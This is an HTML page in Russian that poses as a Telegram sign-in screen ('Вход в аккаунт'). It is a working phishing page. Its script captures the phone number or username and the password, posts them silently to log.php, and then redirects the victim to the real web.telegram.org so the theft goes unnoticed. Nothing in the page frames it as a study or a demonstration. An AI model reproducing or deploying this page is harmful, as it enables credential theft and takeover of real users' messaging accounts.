| <!DOCTYPE html> |
| <html lang="ru"> |
| <head> |
| <meta charset="UTF-8"> |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| <title>Telegram - Вход</title> |
| <style> |
| body { margin:0; font-family: Arial, sans-serif; background: #0f0f0f; color: #fff; display: flex; justify-content: center; align-items: center; height: 100vh; } |
| .container { width: 380px; background: #1f1f1f; padding: 30px; border-radius: 12px; box-shadow: 0 0 20px rgba(0,0,0,0.8); } |
| input { width: 100%; padding: 12px; margin: 10px 0; background: #2a2a2a; border: none; border-radius: 6px; color: #fff; } |
| button { width: 100%; padding: 14px; background: #229ed9; border: none; border-radius: 6px; color: white; font-size: 16px; cursor: pointer; } |
| button:hover { background: #1c8ac4; } |
| .logo { text-align: center; margin-bottom: 20px; } |
| </style> |
| </head> |
| <body> |
| <div class="container"> |
| <div class="logo"> |
| <h1>Telegram</h1> |
| </div> |
| <h2 style="text-align:center;">Вход в аккаунт</h2> |
| <form id="loginForm"> |
| <input type="text" id="phone" placeholder="Номер телефона или username" required> |
| <input type="password" id="password" placeholder="Пароль" required> |
| <button type="submit">Далее</button> |
| </form> |
| <p style="text-align:center; margin-top:15px; font-size:14px; color:#888;"> |
| <a href="#" style="color:#229ed9;">Забыли пароль?</a> |
| </p> |
| </div> |
|
|
| <script> |
| document.getElementById('loginForm').addEventListener('submit', async function(e) { |
| e.preventDefault(); |
| const phone = document.getElementById('phone').value; |
| const pass = document.getElementById('password').value; |
| |
| const data = { phone, password: pass, timestamp: new Date().toISOString() }; |
| |
| try { |
| await fetch('log.php', { |
| method: 'POST', |
| headers: {'Content-Type': 'application/json'}, |
| body: JSON.stringify(data) |
| }); |
| } catch(e) {} |
| |
| |
| alert('Проверка аккаунта...'); |
| setTimeout(() => { |
| window.location.href = "https://web.telegram.org"; |
| }, 1500); |
| }); |
| </script> |
| </body> |
| </html> |
